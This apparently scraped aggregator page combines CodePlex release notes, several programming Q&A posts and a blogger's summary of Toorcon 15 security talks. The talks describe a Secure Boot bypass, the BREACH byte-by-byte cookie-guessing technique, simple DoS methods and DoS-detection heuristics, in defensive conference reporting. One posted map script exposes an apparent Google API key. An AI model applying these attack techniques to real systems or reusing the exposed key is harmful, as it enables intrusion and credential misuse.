2007/2010 (XLSX) Portable Document Format (PDF) Microsoft XPS Document (XPS) Difference between NET2.0 and NET3.5 This program uses .NET Framework runtime library to run. Basically, they are no differences. Only the runtime library version is different. For older computers, i.e. Windows XP, might not have .NET Framework 3.5 installed, then use NET2.0 in stead. But, some Windows XP SP2 mig...Office File Properties: Office File Properties 3.3.1: Bug fix. Convert file extension to lowercase before checking.LoBDb.NET: LoBDb.NET 1.0.9: Centido.Core library: 1) SQL Server script bug fix: an error when changing the MaxLength property of an indexed string column or when changing the Precision-Scale properties of a decimal column. LobDb.NET Manager: 1) Changing the Precision, Scale, Default Value, Minimum and Maximum properties of a decimal column now enables the Save button. 2) The MaxLength property of a string column and the Precision+Scale values of a decimal column are now displayed in the column list. 3) Changing the Min...Chaos games: Chaos games: Small app for generating fractals using chaos gamesVisual Studio Icon Patcher: Version 1.5.2: This version contains no new images from v1.5.1 Contains the following improvements: Better support for detecting the installed languages The extract & inject commands won’t run if Visual Studio is running You may now run in extract or inject mode The p/invoke code was cleaned up based on Code Analysis recommendations When a p/invoke method fails the Win32 error message is now displayed Error messages use red text Status messages use green textMCEBuddy 2.x: MCEBuddy 2.2.16: Changelog for 2.2.16 (32bit and 64bit) Now a standalone remote client also available to control the Engine remotely. 1. Added support for remote connections for status and configuration. MCEBuddy now uses port 23332. The remote server name, remote server port and local server port can be updated from the MCEBuddy.conf file BUT the Service or GUI needs to be restarted (i.e. reboot or restart service or restart program) for it to take effect. Refer to documentation for more details http://mce...ZXing.Net: ZXing.Net 0.9.0.0: On the way to a release 1.0 the API should be stable now with this version. sync with rev. 2393 of the java version improved api better Unity support Windows RT binaries Windows CE binaries new Windows Service demo new WPF demo WindowsCE Hotfix: Fixes an error with ISO8859-1 encoding and scannning of QR-Codes. The hotfix is only needed for the WindowsCE platform.SSIS GoogleAnalyticsSource: Version 1.1 Alpha 2: The component uses now the Google API V2.4 including the management API.MVC Bootstrap: MVC Boostrap 0.5.1: A small demo site, based on the default ASP.NET MVC 3 project template, showing off some of the features of MVC Bootstrap. This release uses Entity Framework 5 for data access and Ninject 3 for dependency injection. If you download and use this project, please give some feedback, good or bad!menu4web: menu4web 1.0 - free javascript menu for web sites: menu4web 1.0 has been tested with all major browsers: Firefox, Chrome, IE, Opera and Safari. Minified m4w.js library is less than 9K. Includes 21 menu examples of different styles. Can be freely distributed under The MIT License (MIT).Rawr: Rawr 5.0.0: This is the Downloadable WPF version of Rawr!For web-based version see http://elitistjerks.com/rawr.php You can find the version notes at: http://rawr.codeplex.com/wikipage?title=VersionNotes Rawr Addon (NOT UPDATED YET FOR MOP)We now have a Rawr Official Addon for in-game exporting and importing of character data hosted on Curse. The Addon does not perform calculations like Rawr, it simply shows your exported Rawr data in wow tooltips and lets you export your character to Rawr (including ba...Coevery - Free CRM: Coevery 1.0.0.26: The zh-CN issue has been solved. We also add a project management module.VidCoder: 1.4.1 Beta: Updated to HandBrake 4971. This should fix some issues with stuck PGS subtitles. Fixed build break which prevented pre-compiled XML serializers from showing up. Fixed problem where a preset would get errantly marked as modified when re-opening the encode settings window or importing a new preset.JSLint for Visual Studio 2010: 1.4.0: VS2012 support is alphaBlackJumboDog: Ver5.7.2: 2012.09.23 Ver5.7.2 (1)InetTest?? (2)HTTP?????????????????100???????????Player Framework by Microsoft: Player Framework for Windows 8 (Preview 6): IMPORTANT: List of breaking changes from preview 5 Added separate samples download with .vsix dependencies instead of source dependencies Support for FreeWheel SmartXML ad responses Support for Smooth Streaming SDK DownloaderPlugins Support for VMAP and TTML polling for live scenarios Support for custom smooth streaming byte stream and scheme handlers Support for new play time and position tracking plugin Added IsLiveChanged event Added AdaptivePlugin.MaxBitrate property Add...New ProjectsChaos games: Small app to generating fractals using chaos gamesDocument Digitalization System: This system will allow the users with on one or more PCs to digitalize pdf files and store it or export it to other file formats.ExternalTokenAnalysisOffline: SPUser?UserToken????????????????。FinalProjectSeniorProject: ***Unfinished*** Senior project build GL Ponpes Selamat Kendal: Aplikasi Akuntansi Sekolah Pondok Pesantren Modern Selamat KendalHealth Care Manager: One of keynote planned for the Brazzaville Microsoft event coming soon.Orchard Commerce History with PayPal: Project expands on Nwazet.Commerce module (and is required for this module to work). Adds a purchase history, product role associations, and PayPal.PDF.NET: PWMIS ?????? Ver 4.5 ???? SMS Egypt: This project is intended to make it easy for people to send SMS to their customers using SMS gateways inside and outside Egypt. Strong Caml: Use the familiar CAML syntax, but now do it in strongly-typed, dynamic code. Just follow Visual Studio's IntelliSense, and your CAML query can't go wrong!TrainingFrameWork: TrainingFrameWork

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  • How does gluLookAt work?

    - by Chan
    From my understanding, gluLookAt( eye_x, eye_y, eye_z, center_x, center_y, center_z, up_x, up_y, up_z ); is equivalent to: glRotatef(B, 0.0, 0.0, 1.0); glRotatef(A, wx, wy, wz); glTranslatef(-eye_x, -eye_y, -eye_z); But when I print out the ModelView matrix, the call to glTranslatef() doesn't seem to work properly. Here is the code snippet: #include <stdlib.h> #include <stdio.h> #include <GL/glut.h> #include <iomanip> #include <iostream> #include <string> using namespace std; static const int Rx = 0; static const int Ry = 1; static const int Rz = 2; static const int Ux = 4; static const int Uy = 5; static const int Uz = 6; static const int Ax = 8; static const int Ay = 9; static const int Az = 10; static const int Tx = 12; static const int Ty = 13; static const int Tz = 14; void init() { glClearColor(0.0, 0.0, 0.0, 0.0); glEnable(GL_DEPTH_TEST); glShadeModel(GL_SMOOTH); glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); GLfloat lmodel_ambient[] = { 0.8, 0.0, 0.0, 0.0 }; glLightModelfv(GL_LIGHT_MODEL_AMBIENT, lmodel_ambient); } void displayModelviewMatrix(float MV[16]) { int SPACING = 12; cout << left; cout << "\tMODELVIEW MATRIX\n"; cout << "--------------------------------------------------" << endl; cout << setw(SPACING) << "R" << setw(SPACING) << "U" << setw(SPACING) << "A" << setw(SPACING) << "T" << endl; cout << "--------------------------------------------------" << endl; cout << setw(SPACING) << MV[Rx] << setw(SPACING) << MV[Ux] << setw(SPACING) << MV[Ax] << setw(SPACING) << MV[Tx] << endl; cout << setw(SPACING) << MV[Ry] << setw(SPACING) << MV[Uy] << setw(SPACING) << MV[Ay] << setw(SPACING) << MV[Ty] << endl; cout << setw(SPACING) << MV[Rz] << setw(SPACING) << MV[Uz] << setw(SPACING) << MV[Az] << setw(SPACING) << MV[Tz] << endl; cout << setw(SPACING) << MV[3] << setw(SPACING) << MV[7] << setw(SPACING) << MV[11] << setw(SPACING) << MV[15] << endl; cout << "--------------------------------------------------" << endl; cout << endl; } void reshape(int w, int h) { float ratio = static_cast<float>(w)/h; glViewport(0, 0, w, h); glMatrixMode(GL_PROJECTION); glLoadIdentity(); gluPerspective(45.0, ratio, 1.0, 425.0); } void draw() { float m[16]; glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glMatrixMode(GL_MODELVIEW); glLoadIdentity(); glGetFloatv(GL_MODELVIEW_MATRIX, m); gluLookAt( 300.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f ); glColor3f(1.0, 0.0, 0.0); glutSolidCube(100.0); glGetFloatv(GL_MODELVIEW_MATRIX, m); displayModelviewMatrix(m); glutSwapBuffers(); } int main(int argc, char** argv) { glutInit(&argc, argv); glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH); glutInitWindowSize(400, 400); glutInitWindowPosition(100, 100); glutCreateWindow("Demo"); glutReshapeFunc(reshape); glutDisplayFunc(draw); init(); glutMainLoop(); return 0; } No matter what value I use for the eye vector: 300, 0, 0 or 0, 300, 0 or 0, 0, 300 the translation vector is the same, which doesn't make any sense because the order of code is in backward order so glTranslatef should run first, then the 2 rotations. Plus, the rotation matrix, is completely independent of the translation column (in the ModelView matrix), then what would cause this weird behavior? Here is the output with the eye vector is (0.0f, 300.0f, 0.0f) MODELVIEW MATRIX -------------------------------------------------- R U A T -------------------------------------------------- 0 0 0 0 0 0 0 0 0 1 0 -300 0 0 0 1 -------------------------------------------------- I would expect the T column to be (0, -300, 0)! So could anyone help me explain this? The implementation of gluLookAt from http://www.mesa3d.org void GLAPIENTRY gluLookAt(GLdouble eyex, GLdouble eyey, GLdouble eyez, GLdouble centerx, GLdouble centery, GLdouble centerz, GLdouble upx, GLdouble upy, GLdouble upz) { float forward[3], side[3], up[3]; GLfloat m[4][4]; forward[0] = centerx - eyex; forward[1] = centery - eyey; forward[2] = centerz - eyez; up[0] = upx; up[1] = upy; up[2] = upz; normalize(forward); /* Side = forward x up */ cross(forward, up, side); normalize(side); /* Recompute up as: up = side x forward */ cross(side, forward, up); __gluMakeIdentityf(&m[0][0]); m[0][0] = side[0]; m[1][0] = side[1]; m[2][0] = side[2]; m[0][1] = up[0]; m[1][1] = up[1]; m[2][1] = up[2]; m[0][2] = -forward[0]; m[1][2] = -forward[1]; m[2][2] = -forward[2]; glMultMatrixf(&m[0][0]); glTranslated(-eyex, -eyey, -eyez); }

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  • SL3/SL4 - Ado.Net Data Services Error during new DataServiceCollection<T>(queryResponse)

    - by Soulhuntre
    Hey all, I have two functions in a SL project (VS2010) that do almost exactly the same thing, yet one throws an error and the other does not. It seems to be related to the projections, but I am unsure about the best way to resolve. The function that works is... public void LoadAllChunksExpandAll(DataHelperReturnHandler handler, string orderby) { DataServiceCollection<CmsChunk> data = null; DataServiceQuery<CmsChunk> theQuery = _dataservice .CmsChunks .Expand("CmsItemState") .AddQueryOption("$orderby", orderby); theQuery.BeginExecute( delegate(IAsyncResult asyncResult) { _callback_dispatcher.BeginInvoke( () => { try { DataServiceQuery<CmsChunk> query = asyncResult.AsyncState as DataServiceQuery<CmsChunk>; if (query != null) { //create a tracked DataServiceCollection from the result of the asynchronous query. QueryOperationResponse<CmsChunk> queryResponse = query.EndExecute(asyncResult) as QueryOperationResponse<CmsChunk>; data = new DataServiceCollection<CmsChunk>(queryResponse); handler(data); } } catch { handler(data); } } ); }, theQuery ); } This compiles and runs as expected. A very, very similar function (shown below) fails... public void LoadAllPagesExpandAll(DataHelperReturnHandler handler, string orderby) { DataServiceCollection<CmsPage> data = null; DataServiceQuery<CmsPage> theQuery = _dataservice .CmsPages .Expand("CmsChildPages") .Expand("CmsParentPage") .Expand("CmsItemState") .AddQueryOption("$orderby", orderby); theQuery.BeginExecute( delegate(IAsyncResult asyncResult) { _callback_dispatcher.BeginInvoke( () => { try { DataServiceQuery<CmsPage> query = asyncResult.AsyncState as DataServiceQuery<CmsPage>; if (query != null) { //create a tracked DataServiceCollection from the result of the asynchronous query. QueryOperationResponse<CmsPage> queryResponse = query.EndExecute(asyncResult) as QueryOperationResponse<CmsPage>; data = new DataServiceCollection<CmsPage>(queryResponse); handler(data); } } catch { handler(data); } } ); }, theQuery ); } Clearly the issue is the Expand projections that involve a self referencing relationship (pages can contain other pages). This is under SL4 or SL3 using ADONETDataServices SL3 Update CTP3. I am open to any work around or pointers to goo information, a Google search for the error results in two hits, neither particularly helpful that I can decipher. The short error is "An item could not be added to the collection. When items in a DataServiceCollection are tracked by the DataServiceContext, new items cannot be added before items have been loaded into the collection." The full error is... System.Reflection.TargetInvocationException was caught Message=Exception has been thrown by the target of an invocation. StackTrace: at System.RuntimeMethodHandle.InvokeMethodFast(IRuntimeMethodInfo method, Object target, Object[] arguments, SignatureStruct& sig, MethodAttributes methodAttributes, RuntimeType typeOwner) at System.Reflection.RuntimeMethodInfo.Invoke(Object obj, BindingFlags invokeAttr, Binder binder, Object[] parameters, CultureInfo culture, Boolean skipVisibilityChecks) at System.Reflection.RuntimeMethodInfo.Invoke(Object obj, BindingFlags invokeAttr, Binder binder, Object[] parameters, CultureInfo culture) at System.Reflection.MethodBase.Invoke(Object obj, Object[] parameters) at System.Data.Services.Client.ClientType.ClientProperty.SetValue(Object instance, Object value, String propertyName, Boolean allowAdd) at System.Data.Services.Client.AtomMaterializer.ApplyItemsToCollection(AtomEntry entry, ClientProperty property, IEnumerable items, Uri nextLink, ProjectionPlan continuationPlan) at System.Data.Services.Client.AtomMaterializer.ApplyFeedToCollection(AtomEntry entry, ClientProperty property, AtomFeed feed, Boolean includeLinks) at System.Data.Services.Client.AtomMaterializer.MaterializeResolvedEntry(AtomEntry entry, Boolean includeLinks) at System.Data.Services.Client.AtomMaterializer.Materialize(AtomEntry entry, Type expectedEntryType, Boolean includeLinks) at System.Data.Services.Client.AtomMaterializer.DirectMaterializePlan(AtomMaterializer materializer, AtomEntry entry, Type expectedEntryType) at System.Data.Services.Client.AtomMaterializerInvoker.DirectMaterializePlan(Object materializer, Object entry, Type expectedEntryType) at System.Data.Services.Client.ProjectionPlan.Run(AtomMaterializer materializer, AtomEntry entry, Type expectedType) at System.Data.Services.Client.AtomMaterializer.Read() at System.Data.Services.Client.MaterializeAtom.MoveNextInternal() at System.Data.Services.Client.MaterializeAtom.MoveNext() at System.Linq.Enumerable.d_b11.MoveNext() at System.Data.Services.Client.DataServiceCollection1.InternalLoadCollection(IEnumerable1 items) at System.Data.Services.Client.DataServiceCollection1.StartTracking(DataServiceContext context, IEnumerable1 items, String entitySet, Func2 entityChanged, Func2 collectionChanged) at System.Data.Services.Client.DataServiceCollection1..ctor(DataServiceContext context, IEnumerable1 items, TrackingMode trackingMode, String entitySetName, Func2 entityChangedCallback, Func2 collectionChangedCallback) at System.Data.Services.Client.DataServiceCollection1..ctor(IEnumerable1 items) at Phinli.Dashboard.Silverlight.Helpers.DataHelper.<>c__DisplayClass44.<>c__DisplayClass46.<LoadAllPagesExpandAll>b__43() InnerException: System.InvalidOperationException Message=An item could not be added to the collection. When items in a DataServiceCollection are tracked by the DataServiceContext, new items cannot be added before items have been loaded into the collection. StackTrace: at System.Data.Services.Client.DataServiceCollection1.InsertItem(Int32 index, T item) at System.Collections.ObjectModel.Collection`1.Add(T item) InnerException: Thanks for any help!

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  • Map wont show rigth in Joomla

    - by user1653126
    I have the following code of a map using api google, I have tested the code in several html editor and its work perfectly, but when i upload in my web page doesn’t work. The map appears all zoomed in some random point in the ocean. I create an article in Joomla 1.5.20, paste the code. Its shows right in the preview but not in the web page. I disable filtering and use none editor and still won’t work. Thanks for the help. <!DOCTYPE html> <html> <head> <meta name="viewport" content="initial-scale=1.0, user-scalable=no" /> <style type="text/css"> html { height: 100% } body { height: 100%; margin: 0; padding: 0 } #map_canvas { height: 100% } </style> <script type="text/javascript" src="http://maps.googleapis.com/maps/api/js?key=AIzaSyBInlv7FuwtKGhzBP0oISDoB2Iu79HNrPU&sensor=false"> </script> <script type="text/javascript"> var map; // lets define some vars to make things easier later var kml = { a: { name: "Productor", url: "https://maps.google.hn/maps/ms?authuser=0&vps=2&hl=es&ie=UTF8&msa=0&output=kml&msid=200984447026903306654.0004c934a224eca7c3ad4" }, b: { name: "A&S", url: "https://maps.google.hn/maps/ms?ie=UTF8&authuser=0&msa=0&output=kml&msid=200984447026903306654.0004c94bac74cf2304c71" } // keep adding more if ye like }; // initialize our goo function initializeMap() { var options = { center: new google.maps.LatLng(13.324182,-87.080071), zoom: 9, mapTypeId: google.maps.MapTypeId.TERRAIN } map = new google.maps.Map(document.getElementById("map_canvas"), options); var ctaLayer = new google.maps.KmlLayer('https://maps.google.hn/maps/ms?authuser=0&vps=5&hl=es&ie=UTF8&oe=UTF8&msa=0&output=kml&msid=200984447026903306654.0004c94bc3bce6f638aa1'); ctaLayer.setMap(map); var ctaLayer = new google.maps.KmlLayer('https://maps.google.hn/maps/ms?authuser=0&vps=2&ie=UTF8&msa=0&output=kml&msid=200984447026903306654.0004c94ec7e838242b67d'); ctaLayer.setMap(map); createTogglers(); }; google.maps.event.addDomListener(window, 'load', initializeMap); // the important function... kml[id].xxxxx refers back to the top function toggleKML(checked, id) { if (checked) { var layer = new google.maps.KmlLayer(kml[id].url, { preserveViewport: true, suppressInfoWindows: true }); google.maps.event.addListener(layer, 'click', function(kmlEvent) { var text = kmlEvent.featureData.description; showInContentWindow(text); }); function showInContentWindow(text) { var sidediv = document.getElementById('content_window'); sidediv.innerHTML = text; } // store kml as obj kml[id].obj = layer; kml[id].obj.setMap(map); } else { kml[id].obj.setMap(null); delete kml[id].obj; } }; // create the controls dynamically because it's easier, really function createTogglers() { var html = "<form><ul>"; for (var prop in kml) { html += "<li id=\"selector-" + prop + "\"><input type='checkbox' id='" + prop + "'" + " onclick='highlight(this,\"selector-" + prop + "\"); toggleKML(this.checked, this.id)' \/>" + kml[prop].name + "<\/li>"; } html += "<li class='control'><a href='#' onclick='removeAll();return false;'>" + "Limpiar el Mapa<\/a><\/li>" + "<\/ul><\/form>"; document.getElementById("toggle_box").innerHTML = html; }; // easy way to remove all objects function removeAll() { for (var prop in kml) { if (kml[prop].obj) { kml[prop].obj.setMap(null); delete kml[prop].obj; } } }; // Append Class on Select function highlight(box, listitem) { var selected = 'selected'; var normal = 'normal'; document.getElementById(listitem).className = (box.checked ? selected: normal); }; </script> <style type="text/css"> .selected { font-weight: bold; } </style> </head> <body> <div id="map_canvas" style="width: 80%; height: 400px; float:left"></div> <div id="toggle_box" style="position: absolute; top: 100px; right: 640px; padding: 10px; background: #fff; z-index: 5; "></div> <div id="content_window" style="width:10%; height:10%; float:left"></div> </body> </html>

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  • Toorcon 15 (2013)

    - by danx
    The Toorcon gang (senior staff): h1kari (founder), nfiltr8, and Geo Introduction to Toorcon 15 (2013) A Tale of One Software Bypass of MS Windows 8 Secure Boot Breaching SSL, One Byte at a Time Running at 99%: Surviving an Application DoS Security Response in the Age of Mass Customized Attacks x86 Rewriting: Defeating RoP and other Shinanighans Clowntown Express: interesting bugs and running a bug bounty program Active Fingerprinting of Encrypted VPNs Making Attacks Go Backwards Mask Your Checksums—The Gorry Details Adventures with weird machines thirty years after "Reflections on Trusting Trust" Introduction to Toorcon 15 (2013) Toorcon 15 is the 15th annual security conference held in San Diego. I've attended about a third of them and blogged about previous conferences I attended here starting in 2003. As always, I've only summarized the talks I attended and interested me enough to write about them. Be aware that I may have misrepresented the speaker's remarks and that they are not my remarks or opinion, or those of my employer, so don't quote me or them. Those seeking further details may contact the speakers directly or use The Google. For some talks, I have a URL for further information. A Tale of One Software Bypass of MS Windows 8 Secure Boot Andrew Furtak and Oleksandr Bazhaniuk Yuri Bulygin, Oleksandr ("Alex") Bazhaniuk, and (not present) Andrew Furtak Yuri and Alex talked about UEFI and Bootkits and bypassing MS Windows 8 Secure Boot, with vendor recommendations. They previously gave this talk at the BlackHat 2013 conference. MS Windows 8 Secure Boot Overview UEFI (Unified Extensible Firmware Interface) is interface between hardware and OS. UEFI is processor and architecture independent. Malware can replace bootloader (bootx64.efi, bootmgfw.efi). Once replaced can modify kernel. Trivial to replace bootloader. Today many legacy bootkits—UEFI replaces them most of them. MS Windows 8 Secure Boot verifies everything you load, either through signatures or hashes. UEFI firmware relies on secure update (with signed update). You would think Secure Boot would rely on ROM (such as used for phones0, but you can't do that for PCs—PCs use writable memory with signatures DXE core verifies the UEFI boat loader(s) OS Loader (winload.efi, winresume.efi) verifies the OS kernel A chain of trust is established with a root key (Platform Key, PK), which is a cert belonging to the platform vendor. Key Exchange Keys (KEKs) verify an "authorized" database (db), and "forbidden" database (dbx). X.509 certs with SHA-1/SHA-256 hashes. Keys are stored in non-volatile (NV) flash-based NVRAM. Boot Services (BS) allow adding/deleting keys (can't be accessed once OS starts—which uses Run-Time (RT)). Root cert uses RSA-2048 public keys and PKCS#7 format signatures. SecureBoot — enable disable image signature checks SetupMode — update keys, self-signed keys, and secure boot variables CustomMode — allows updating keys Secure Boot policy settings are: always execute, never execute, allow execute on security violation, defer execute on security violation, deny execute on security violation, query user on security violation Attacking MS Windows 8 Secure Boot Secure Boot does NOT protect from physical access. Can disable from console. Each BIOS vendor implements Secure Boot differently. There are several platform and BIOS vendors. It becomes a "zoo" of implementations—which can be taken advantage of. Secure Boot is secure only when all vendors implement it correctly. Allow only UEFI firmware signed updates protect UEFI firmware from direct modification in flash memory protect FW update components program SPI controller securely protect secure boot policy settings in nvram protect runtime api disable compatibility support module which allows unsigned legacy Can corrupt the Platform Key (PK) EFI root certificate variable in SPI flash. If PK is not found, FW enters setup mode wich secure boot turned off. Can also exploit TPM in a similar manner. One is not supposed to be able to directly modify the PK in SPI flash from the OS though. But they found a bug that they can exploit from User Mode (undisclosed) and demoed the exploit. It loaded and ran their own bootkit. The exploit requires a reboot. Multiple vendors are vulnerable. They will disclose this exploit to vendors in the future. Recommendations: allow only signed updates protect UEFI fw in ROM protect EFI variable store in ROM Breaching SSL, One Byte at a Time Yoel Gluck and Angelo Prado Angelo Prado and Yoel Gluck, Salesforce.com CRIME is software that performs a "compression oracle attack." This is possible because the SSL protocol doesn't hide length, and because SSL compresses the header. CRIME requests with every possible character and measures the ciphertext length. Look for the plaintext which compresses the most and looks for the cookie one byte-at-a-time. SSL Compression uses LZ77 to reduce redundancy. Huffman coding replaces common byte sequences with shorter codes. US CERT thinks the SSL compression problem is fixed, but it isn't. They convinced CERT that it wasn't fixed and they issued a CVE. BREACH, breachattrack.com BREACH exploits the SSL response body (Accept-Encoding response, Content-Encoding). It takes advantage of the fact that the response is not compressed. BREACH uses gzip and needs fairly "stable" pages that are static for ~30 seconds. It needs attacker-supplied content (say from a web form or added to a URL parameter). BREACH listens to a session's requests and responses, then inserts extra requests and responses. Eventually, BREACH guesses a session's secret key. Can use compression to guess contents one byte at-a-time. For example, "Supersecret SupersecreX" (a wrong guess) compresses 10 bytes, and "Supersecret Supersecret" (a correct guess) compresses 11 bytes, so it can find each character by guessing every character. To start the guess, BREACH needs at least three known initial characters in the response sequence. Compression length then "leaks" information. Some roadblocks include no winners (all guesses wrong) or too many winners (multiple possibilities that compress the same). The solutions include: lookahead (guess 2 or 3 characters at-a-time instead of 1 character). Expensive rollback to last known conflict check compression ratio can brute-force first 3 "bootstrap" characters, if needed (expensive) block ciphers hide exact plain text length. Solution is to align response in advance to block size Mitigations length: use variable padding secrets: dynamic CSRF tokens per request secret: change over time separate secret to input-less servlets Future work eiter understand DEFLATE/GZIP HTTPS extensions Running at 99%: Surviving an Application DoS Ryan Huber Ryan Huber, Risk I/O Ryan first discussed various ways to do a denial of service (DoS) attack against web services. One usual method is to find a slow web page and do several wgets. Or download large files. Apache is not well suited at handling a large number of connections, but one can put something in front of it Can use Apache alternatives, such as nginx How to identify malicious hosts short, sudden web requests user-agent is obvious (curl, python) same url requested repeatedly no web page referer (not normal) hidden links. hide a link and see if a bot gets it restricted access if not your geo IP (unless the website is global) missing common headers in request regular timing first seen IP at beginning of attack count requests per hosts (usually a very large number) Use of captcha can mitigate attacks, but you'll lose a lot of genuine users. Bouncer, goo.gl/c2vyEc and www.github.com/rawdigits/Bouncer Bouncer is software written by Ryan in netflow. Bouncer has a small, unobtrusive footprint and detects DoS attempts. It closes blacklisted sockets immediately (not nice about it, no proper close connection). Aggregator collects requests and controls your web proxies. Need NTP on the front end web servers for clean data for use by bouncer. Bouncer is also useful for a popularity storm ("Slashdotting") and scraper storms. Future features: gzip collection data, documentation, consumer library, multitask, logging destroyed connections. Takeaways: DoS mitigation is easier with a complete picture Bouncer designed to make it easier to detect and defend DoS—not a complete cure Security Response in the Age of Mass Customized Attacks Peleus Uhley and Karthik Raman Peleus Uhley and Karthik Raman, Adobe ASSET, blogs.adobe.com/asset/ Peleus and Karthik talked about response to mass-customized exploits. Attackers behave much like a business. "Mass customization" refers to concept discussed in the book Future Perfect by Stan Davis of Harvard Business School. Mass customization is differentiating a product for an individual customer, but at a mass production price. For example, the same individual with a debit card receives basically the same customized ATM experience around the world. Or designing your own PC from commodity parts. Exploit kits are another example of mass customization. The kits support multiple browsers and plugins, allows new modules. Exploit kits are cheap and customizable. Organized gangs use exploit kits. A group at Berkeley looked at 77,000 malicious websites (Grier et al., "Manufacturing Compromise: The Emergence of Exploit-as-a-Service", 2012). They found 10,000 distinct binaries among them, but derived from only a dozen or so exploit kits. Characteristics of Mass Malware: potent, resilient, relatively low cost Technical characteristics: multiple OS, multipe payloads, multiple scenarios, multiple languages, obfuscation Response time for 0-day exploits has gone down from ~40 days 5 years ago to about ~10 days now. So the drive with malware is towards mass customized exploits, to avoid detection There's plenty of evicence that exploit development has Project Manager bureaucracy. They infer from the malware edicts to: support all versions of reader support all versions of windows support all versions of flash support all browsers write large complex, difficult to main code (8750 lines of JavaScript for example Exploits have "loose coupling" of multipe versions of software (adobe), OS, and browser. This allows specific attacks against specific versions of multiple pieces of software. Also allows exploits of more obscure software/OS/browsers and obscure versions. Gave examples of exploits that exploited 2, 3, 6, or 14 separate bugs. However, these complete exploits are more likely to be buggy or fragile in themselves and easier to defeat. Future research includes normalizing malware and Javascript. Conclusion: The coming trend is that mass-malware with mass zero-day attacks will result in mass customization of attacks. x86 Rewriting: Defeating RoP and other Shinanighans Richard Wartell Richard Wartell The attack vector we are addressing here is: First some malware causes a buffer overflow. The malware has no program access, but input access and buffer overflow code onto stack Later the stack became non-executable. The workaround malware used was to write a bogus return address to the stack jumping to malware Later came ASLR (Address Space Layout Randomization) to randomize memory layout and make addresses non-deterministic. The workaround malware used was to jump t existing code segments in the program that can be used in bad ways "RoP" is Return-oriented Programming attacks. RoP attacks use your own code and write return address on stack to (existing) expoitable code found in program ("gadgets"). Pinkie Pie was paid $60K last year for a RoP attack. One solution is using anti-RoP compilers that compile source code with NO return instructions. ASLR does not randomize address space, just "gadgets". IPR/ILR ("Instruction Location Randomization") randomizes each instruction with a virtual machine. Richard's goal was to randomize a binary with no source code access. He created "STIR" (Self-Transofrming Instruction Relocation). STIR disassembles binary and operates on "basic blocks" of code. The STIR disassembler is conservative in what to disassemble. Each basic block is moved to a random location in memory. Next, STIR writes new code sections with copies of "basic blocks" of code in randomized locations. The old code is copied and rewritten with jumps to new code. the original code sections in the file is marked non-executible. STIR has better entropy than ASLR in location of code. Makes brute force attacks much harder. STIR runs on MS Windows (PEM) and Linux (ELF). It eliminated 99.96% or more "gadgets" (i.e., moved the address). Overhead usually 5-10% on MS Windows, about 1.5-4% on Linux (but some code actually runs faster!). The unique thing about STIR is it requires no source access and the modified binary fully works! Current work is to rewrite code to enforce security policies. For example, don't create a *.{exe,msi,bat} file. Or don't connect to the network after reading from the disk. Clowntown Express: interesting bugs and running a bug bounty program Collin Greene Collin Greene, Facebook Collin talked about Facebook's bug bounty program. Background at FB: FB has good security frameworks, such as security teams, external audits, and cc'ing on diffs. But there's lots of "deep, dark, forgotten" parts of legacy FB code. Collin gave several examples of bountied bugs. Some bounty submissions were on software purchased from a third-party (but bounty claimers don't know and don't care). We use security questions, as does everyone else, but they are basically insecure (often easily discoverable). Collin didn't expect many bugs from the bounty program, but they ended getting 20+ good bugs in first 24 hours and good submissions continue to come in. Bug bounties bring people in with different perspectives, and are paid only for success. Bug bounty is a better use of a fixed amount of time and money versus just code review or static code analysis. The Bounty program started July 2011 and paid out $1.5 million to date. 14% of the submissions have been high priority problems that needed to be fixed immediately. The best bugs come from a small % of submitters (as with everything else)—the top paid submitters are paid 6 figures a year. Spammers like to backstab competitors. The youngest sumitter was 13. Some submitters have been hired. Bug bounties also allows to see bugs that were missed by tools or reviews, allowing improvement in the process. Bug bounties might not work for traditional software companies where the product has release cycle or is not on Internet. Active Fingerprinting of Encrypted VPNs Anna Shubina Anna Shubina, Dartmouth Institute for Security, Technology, and Society (I missed the start of her talk because another track went overtime. But I have the DVD of the talk, so I'll expand later) IPsec leaves fingerprints. Using netcat, one can easily visually distinguish various crypto chaining modes just from packet timing on a chart (example, DES-CBC versus AES-CBC) One can tell a lot about VPNs just from ping roundtrips (such as what router is used) Delayed packets are not informative about a network, especially if far away from the network More needed to explore about how TCP works in real life with respect to timing Making Attacks Go Backwards Fuzzynop FuzzyNop, Mandiant This talk is not about threat attribution (finding who), product solutions, politics, or sales pitches. But who are making these malware threats? It's not a single person or group—they have diverse skill levels. There's a lot of fat-fingered fumblers out there. Always look for low-hanging fruit first: "hiding" malware in the temp, recycle, or root directories creation of unnamed scheduled tasks obvious names of files and syscalls ("ClearEventLog") uncleared event logs. Clearing event log in itself, and time of clearing, is a red flag and good first clue to look for on a suspect system Reverse engineering is hard. Disassembler use takes practice and skill. A popular tool is IDA Pro, but it takes multiple interactive iterations to get a clean disassembly. Key loggers are used a lot in targeted attacks. They are typically custom code or built in a backdoor. A big tip-off is that non-printable characters need to be printed out (such as "[Ctrl]" "[RightShift]") or time stamp printf strings. Look for these in files. Presence is not proof they are used. Absence is not proof they are not used. Java exploits. Can parse jar file with idxparser.py and decomile Java file. Java typially used to target tech companies. Backdoors are the main persistence mechanism (provided externally) for malware. Also malware typically needs command and control. Application of Artificial Intelligence in Ad-Hoc Static Code Analysis John Ashaman John Ashaman, Security Innovation Initially John tried to analyze open source files with open source static analysis tools, but these showed thousands of false positives. Also tried using grep, but tis fails to find anything even mildly complex. So next John decided to write his own tool. His approach was to first generate a call graph then analyze the graph. However, the problem is that making a call graph is really hard. For example, one problem is "evil" coding techniques, such as passing function pointer. First the tool generated an Abstract Syntax Tree (AST) with the nodes created from method declarations and edges created from method use. Then the tool generated a control flow graph with the goal to find a path through the AST (a maze) from source to sink. The algorithm is to look at adjacent nodes to see if any are "scary" (a vulnerability), using heuristics for search order. The tool, called "Scat" (Static Code Analysis Tool), currently looks for C# vulnerabilities and some simple PHP. Later, he plans to add more PHP, then JSP and Java. For more information see his posts in Security Innovation blog and NRefactory on GitHub. Mask Your Checksums—The Gorry Details Eric (XlogicX) Davisson Eric (XlogicX) Davisson Sometimes in emailing or posting TCP/IP packets to analyze problems, you may want to mask the IP address. But to do this correctly, you need to mask the checksum too, or you'll leak information about the IP. Problem reports found in stackoverflow.com, sans.org, and pastebin.org are usually not masked, but a few companies do care. If only the IP is masked, the IP may be guessed from checksum (that is, it leaks data). 